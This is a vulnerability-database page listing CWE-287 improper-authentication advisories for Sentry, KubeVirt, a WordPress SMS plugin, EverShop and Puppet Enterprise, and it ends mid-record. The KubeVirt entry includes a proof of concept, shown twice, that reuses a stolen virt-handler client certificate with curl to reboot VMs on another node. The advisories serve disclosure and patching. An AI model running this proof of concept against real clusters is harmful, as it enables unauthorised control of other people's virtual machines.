Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5970 vulnerabilities reference this CWE, most recent first.

GHSA-GGMG-CQG6-J45G

Vulnerability from github – Published: 2026-04-17 21:25 – Updated: 2026-04-17 21:25
VLAI
Summary
Sentry: Improper authentication on SAML SSO process allows user identity linking
Details

Impact

A critical vulnerability was discovered in the SAML SSO implementation of Sentry. It was reported to us via our private bug bounty program.

The vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability.

For self-hosted users, you are only vulnerable if the following conditions are met: - You have more than one organization configured (SENTRY_SINGLE_ORGANIZATION = False). - A malicious user has existing access and permissions to modify SSO settings for another organization in your multo-organization instance.

Patches

  • Sentry SaaS: The fix was deployed on February 18, 2026. No action is required.
  • Self-Hosted Sentry: If only a single organization is allowed (SENTRY_SINGLE_ORGANIZATION = True), then no action is needed. We recommend upgrading to version 26.2.0 or higher.

Workarounds

User account-based two-factor authentication prevents an attacker from being able to complete authentication with a victim's user account. Organization administrators cannot do this on a user's behalf, this requires individual users to ensure 2FA has been enabled for their account.

You can manage your two-factor authentication settings on your Account Settings > Security page. For step-by-step details, please see our helpdesk article.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 26.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "sentry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:25:37Z",
    "nvd_published_at": "2026-02-21T05:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA critical vulnerability was discovered in the SAML SSO implementation of Sentry. It was reported to us via our private bug bounty program.\n\nThe vulnerability allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance. The victim email address must be known in order to exploit this vulnerability.\n\nFor self-hosted users, you are only vulnerable if the following conditions are met:\n- You have more than one organization configured (SENTRY_SINGLE_ORGANIZATION = False).\n- A malicious user has existing access and permissions to modify SSO settings for another organization in your multo-organization instance. \n\n### Patches\n- [Sentry SaaS](https://sentry.io/): The fix was deployed on February 18, 2026. No action is required.\n- [Self-Hosted Sentry](https://github.com/getsentry/self-hosted): If only a single organization is allowed (SENTRY_SINGLE_ORGANIZATION = True), then no action is needed. We recommend upgrading to version 26.2.0 or higher.\n\n### Workarounds\nUser account-based two-factor authentication prevents an attacker from being able to complete authentication with a victim\u0027s user account. Organization administrators cannot do this on a user\u0027s behalf, this requires individual users to ensure 2FA has been enabled for their account.\n\nYou can manage your two-factor authentication settings on your Account Settings \u003e [Security](https://sentry.io/settings/account/security/) page. For step-by-step details, please see our [helpdesk article](https://sentry.zendesk.com/hc/en-us/articles/46773315774235-How-do-I-enable-two-factor-authentication-2FA-on-my-Sentry-account).",
  "id": "GHSA-ggmg-cqg6-j45g",
  "modified": "2026-04-17T21:25:37Z",
  "published": "2026-04-17T21:25:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/security/advisories/GHSA-ggmg-cqg6-j45g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry/pull/108458"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getsentry/sentry"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sentry: Improper authentication on SAML SSO process allows user identity linking"
}

GHSA-GGP9-C99X-54GP

Vulnerability from github – Published: 2025-11-06 23:35 – Updated: 2025-11-27 08:48
VLAI
Summary
KubeVirt's Improper TLS Certificate Management Handling Allows API Identity Spoofing
Details

Summary

Due to improper TLS certificate management, a compromised virt-handler could impersonate virt-api by using its own TLS credentials, allowing it to initiate privileged operations against another virt-handler.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Because of improper TLS certificate management, a compromised virt-handler instance can reuse its TLS bundle to impersonate virt-api, enabling unauthorized access to VM lifecycle operations on other virt-handler nodes. The virt-api component acts as a sub-resource server, and it proxies API VM lifecycle requests to virt-handler instances. The communication between virt-api and virt-handler instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by virt-api is defined in the source code as follows and have the following properties: 

//pkg/virt-api/api.go

const (
    ...
    defaultCAConfigMapName     = "kubevirt-ca"
  ...
    defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt"
    defaultHandlerKeyFilePath  = "/etc/virt-handler/clientcertificates/tls.key"
)

# verify virt-api's certificate properties from the docker container in which it is deployed using Minikube
admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 127940157512425330 (0x1c688e539091f72)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

The virt-handler component verifies the signature of client certificates using a self-signed root CA. This latter is generated by virt-operator when the KubeVirt stack is deployed and it is stored within a ConfigMap in the kubevirt namespace. This configmap is used as a trust anchor by all virt-handler instances to verify client certificates.

# inspect the self-signed root CA used to sign virt-api and virt-handler's certificates
admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 319368675363923930 (0x46ea01e3f7427da)
Issuer: CN=kubevirt.io@1747579138
Subject: CN=kubevirt.io@1747579138

The kubevirt-ca is also used to sign the server certificate which is used by a virt-handler instance:

admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

# the virt-handler's server ceriticate is issued by the same root CA
Serial Number: 7584450293644921758 (0x6941615ba1500b9e)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:node:virt-handler

In addition to the validity of the signature, the virt-handler component also verifies the CN field of the presented certificate:

//pkg/util/tls/tls.go

func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {
    // #nosec cause: InsecureSkipVerify: true
    // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed

    //...
                // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment
                VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
                    return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client")
                },
                //...
}

func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {
  //...
    rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]
    c, err := x509.ParseCertificate(rawPeer)
    //...
    fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName)
    if !externallyManaged && c.Subject.CommonName != fullCommonName {
        return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName)
    }
    //...

The above code illustrates that client certificates accepted be KubeVirt should have as CN kubevirt.io:system:client:virt-handler which is the same as the CN present in the virt-api's certificate. However, the latter is not the only component in the KubeVirt stack which can communicate with a virt-handler instance.

In addition to the extension API server, any other virt-handler can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the virt-handlers on both nodes are going to use structures called ProxyManager to communicate back and forth on the state of the migration. 

//pkg/virt-handler/migration-proxy/migration-proxy.go

func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {
    return &migrationProxyManager{
        sourceProxies:   make(map[string][]*migrationProxy),
        targetProxies:   make(map[string][]*migrationProxy),
        serverTLSConfig: serverTLSConfig,
        clientTLSConfig: clientTLSConfig,
        config:          config,
    }
}

This communication follows a classical client-server model, where the virt-handler on the migration source node acts as a client and the virt-handler on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the virt-handler acting as a migration destination node is the same as the one which is used for the communication between the same virt-handler and the virt-api in the context of VM lifecycle operations (CN=kubevirt.io:system:node:virt-handler). However, the client certificate which is used by a virt-handler instance has the same CN as the client certificate used by virt-api.

admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 2951695854686290384 (0x28f687bdb791c1d0)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

Although the migration procedure, where two separate virt-handler instances coordinate the transfer of a VM's state, is not directly tied to the communication between virt-api and virt-handler during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both virt-handler and virt-api shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (minikube and minikube-m02) thus, with two virt-handler instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the virt-handler instance running on the compromised node (minikube) while the virtual machine is running on the other node (minikube-m02). Thus, they can interact with the sub-resource API exposed by the other virt-handler instance and control the lifecycle of the VMs running on the other node:

# the deployed VMI on the non-compromised node minikube-m02
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  labels:
  kubevirt.io/size: small
  name: mishandling-common-name-in-certificate-handler
spec:
  domain:
    devices:
      disks:
      - name: containerdisk
        disk:
          bus: virtio

      - name: cloudinitdisk
        disk:
          bus: virtio
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - name: containerdisk
    containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
  - name: cloudinitdisk      
    cloudInitNoCloud:
      userDataBase64: SGkuXG4=

# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3
attacker@minikube:~$ curl -k https://10.244.1.3:8186/
curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
# get the certificate bundle directory and redo the request
attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]')

attacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/
404: Page Not Found

# soft reboot the VMI instance running on the other node
attacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT
HTTP/1.1 202 Accepted
# the VMI mishandling-common-name-in-certificate-handler has been rebooted

Impact

What kind of vulnerability is it? Who is impacted?

Due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the managed by it VM.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "kubevirt.io/kubevirt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0-alpha.0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-06T23:35:03Z",
    "nvd_published_at": "2025-11-07T23:15:45Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDue to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nBecause of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. \nThe `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances.\nThe communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: \n\n```go\n//pkg/virt-api/api.go\n\nconst (\n\t...\n\tdefaultCAConfigMapName     = \"kubevirt-ca\"\n  ...\n\tdefaultHandlerCertFilePath = \"/etc/virt-handler/clientcertificates/tls.crt\"\n\tdefaultHandlerKeyFilePath  = \"/etc/virt-handler/clientcertificates/tls.key\"\n)\n```\n\n```bash\n# verify virt-api\u0027s certificate properties from the docker container in which it is deployed using Minikube\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-api\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 127940157512425330 (0x1c688e539091f72)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n```\n\nThe `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates.\n\n```bash\n# inspect the self-signed root CA used to sign virt-api and virt-handler\u0027s certificates\nadmin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath=\u0027{.data.ca-bundle}\u0027 | openssl x509 -text | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 319368675363923930 (0x46ea01e3f7427da)\nIssuer: CN=kubevirt.io@1747579138\nSubject: CN=kubevirt.io@1747579138\n```\n\nThe `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance:\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in \\ \n$(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 \\\ndocker inspect $CID | grep \"servercertificates:ro\" | cut -d \":\" -f1 | \\\ntr -d \u0027\"[:space:]\u0027)/tls.crt | \\\ngrep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\n# the virt-handler\u0027s server ceriticate is issued by the same root CA\nSerial Number: 7584450293644921758 (0x6941615ba1500b9e)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:node:virt-handler\n```\n\n\nIn addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate:\n\n\u003ccode.sec.SetupTLSForVirtHandlerServer\u003e\n```go \n//pkg/util/tls/tls.go\n\nfunc SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {\n\t// #nosec cause: InsecureSkipVerify: true\n\t// resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed\n\t\n\t//...\n\t\t\t\t// XXX: We need to verify the cert ourselves because we don\u0027t have DNS or IP on the certs at the moment\n\t\t\t\tVerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {\n\t\t\t\t\treturn verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, \"client\")\n\t\t\t\t},\n\t\t\t\t//...\n}\n\nfunc verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {\n  //...\n\trawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]\n\tc, err := x509.ParseCertificate(rawPeer)\n\t//...\n\tfullCommonName := fmt.Sprintf(\"kubevirt.io:system:%s:virt-handler\", commonName)\n\tif !externallyManaged \u0026\u0026 c.Subject.CommonName != fullCommonName {\n\t\treturn fmt.Errorf(\"common name is invalid, expected %s, but got %s\", fullCommonName, c.Subject.CommonName)\n\t}\n\t//...\n```\n\n\nThe above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`\u0027s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. \n\nIn addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. \n\n```go\n//pkg/virt-handler/migration-proxy/migration-proxy.go\n\nfunc NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {\n\treturn \u0026migrationProxyManager{\n\t\tsourceProxies:   make(map[string][]*migrationProxy),\n\t\ttargetProxies:   make(map[string][]*migrationProxy),\n\t\tserverTLSConfig: serverTLSConfig,\n\t\tclientTLSConfig: clientTLSConfig,\n\t\tconfig:          config,\n\t}\n}\n```\n\n\nThis communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate  which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`.\n\n\n\n```bash\nadmin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter \u0027Name=virt-handler\u0027 --format \u0027{{.ID}}\u0027 | head -n 1) \u0026\u0026 docker inspect $CID | grep \"clientcertificates:ro\" | cut -d \":\" -f1 | tr -d \u0027\"[:space:]\u0027)/tls.crt | grep -e \"Subject:\" -e \"Issuer:\" -e \"Serial\"\n\nSerial Number: 2951695854686290384 (0x28f687bdb791c1d0)\nIssuer: CN = kubevirt.io@1747579138\nSubject: CN = kubevirt.io:system:client:virt-handler\n\n```\n\nAlthough the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM\u0027s state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.\n\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nTo illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node:\n\n\n```yaml\n# the deployed VMI on the non-compromised node minikube-m02\napiVersion: kubevirt.io/v1\nkind: VirtualMachineInstance\nmetadata:\n  labels:\n  kubevirt.io/size: small\n  name: mishandling-common-name-in-certificate-handler\nspec:\n  domain:\n    devices:\n      disks:\n      - name: containerdisk\n        disk:\n          bus: virtio\n\n      - name: cloudinitdisk\n        disk:\n          bus: virtio\n    resources:\n      requests:\n        memory: 1024M\n  terminationGracePeriodSeconds: 0\n  volumes:\n  - name: containerdisk\n    containerDisk:\n      image: quay.io/kubevirt/cirros-container-disk-demo\n  - name: cloudinitdisk      \n    cloudInitNoCloud:\n      userDataBase64: SGkuXG4=\n```\n\n\n```bash\n# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3\nattacker@minikube:~$ curl -k https://10.244.1.3:8186/\ncurl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0\n# get the certificate bundle directory and redo the request\nattacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter \u0027Name=virt-handler\u0027 --format=\u0027{{.ID}}\u0027 | head -n 1) | grep \"clientcertificates:ro\" | cut -d \u0027:\u0027 -f1 | tr -d \u0027\"[:space:]\u0027)\n\nattacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/\n404: Page Not Found\n\n# soft reboot the VMI instance running on the other node\nattacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT\nHTTP/1.1 202 Accepted\n# the VMI mishandling-common-name-in-certificate-handler has been rebooted\n```\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDue to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.",
  "id": "GHSA-ggp9-c99x-54gp",
  "modified": "2025-11-27T08:48:13Z",
  "published": "2025-11-06T23:35:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64434"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/231dc69723f331dc02f65a31ab4c3d6869f40d6a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/af2f08a9a186eccc650f87c30ab3e07b669e8b5b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubevirt/kubevirt/commit/b9773bc588e6e18ece896a2dad5336ef7a653074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubevirt/kubevirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KubeVirt\u0027s Improper TLS Certificate Management Handling Allows API Identity Spoofing"
}

GHSA-GGPJ-JPHC-WMC4

Vulnerability from github – Published: 2026-07-01 09:30 – Updated: 2026-07-01 09:30
VLAI
Details

The SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.9.5. This is due to the plugin not properly validating a user's identity prior to updating their details like reset the password of any user account, including administrators, and gain full access to those accounts. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. This is only vulnerable on sites with OTP verification for password resets enabled, and where the administrator (or other user) has set a phone number for OTP verification.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-11387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T08:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "The SMS Alert \u2013 SMS \u0026 OTP for WooCommerce, Order Notifications \u0026 Abandoned Cart Recovery plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.9.5. This is due to the plugin not properly validating a user\u0027s identity prior to updating their details like reset the password of any user account, including administrators, and gain full access to those accounts. This makes it possible for unauthenticated attackers to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account. This is only vulnerable on sites with OTP verification for password resets enabled, and where the administrator (or other user) has set a phone number for OTP verification.",
  "id": "GHSA-ggpj-jphc-wmc4",
  "modified": "2026-07-01T09:30:25Z",
  "published": "2026-07-01T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11387"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/forms/class-ultimatemember.php#L288"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/forms/class-ultimatemember.php#L88"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/forms/class-wpresetpassword.php#L116"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/forms/class-wpresetpassword.php#L130"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/forms/class-wpresetpassword.php#L68"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/sms-alert/tags/3.9.5/handler/smsalert_form_handler.php#L91"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3587983%40sms-alert\u0026new=3587983%40sms-alert\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c31906da-f2fd-40ac-86e0-3f1ed0409d0c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GGPM-9QFX-MHWG

Vulnerability from github – Published: 2024-01-13 03:30 – Updated: 2024-07-26 21:37
VLAI
Summary
EverShop vulnerable to improper authorization in GraphQL endpoints
Details

Lack of authentication in NPM's package @evershop/evershop before version 1.0.0-rc.9, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evershop/evershop"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-rc.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-16T16:37:00Z",
    "nvd_published_at": "2024-01-13T02:15:07Z",
    "severity": "HIGH"
  },
  "details": "Lack of authentication in NPM\u0027s package @evershop/evershop before version 1.0.0-rc.9, allows remote attackers to obtain sensitive information via improper authorization in GraphQL endpoints.",
  "id": "GHSA-ggpm-9qfx-mhwg",
  "modified": "2024-07-26T21:37:07Z",
  "published": "2024-01-13T03:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/evershopcommerce/evershop/commit/6e16f046e0b95efa16431a5ea41c22215273e9dd"
    },
    {
      "type": "WEB",
      "url": "https://advisory.checkmarx.net/advisory/CVE-2023-46942"
    },
    {
      "type": "WEB",
      "url": "https://devhub.checkmarx.com/cve-details/CVE-2023-46942"
    },
    {
      "type": "WEB",
      "url": "https://devhub.checkmarx.com/cve-details/Cx00cea2d5-d2c5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/evershopcommerce/evershop"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "EverShop vulnerable to improper authorization in GraphQL endpoints"
}

GHSA-GGQP-JMQ3-2QM6

Vulnerability from github – Published: 2022-05-14 00:56 – Updated: 2022-05-14 00:56
VLAI
Details

Puppet Enterprise (PE) before 2.6.1 does not properly invalidate sessions when the session secret has changed, which allows remote authenticated users to retain access via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2012-5158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
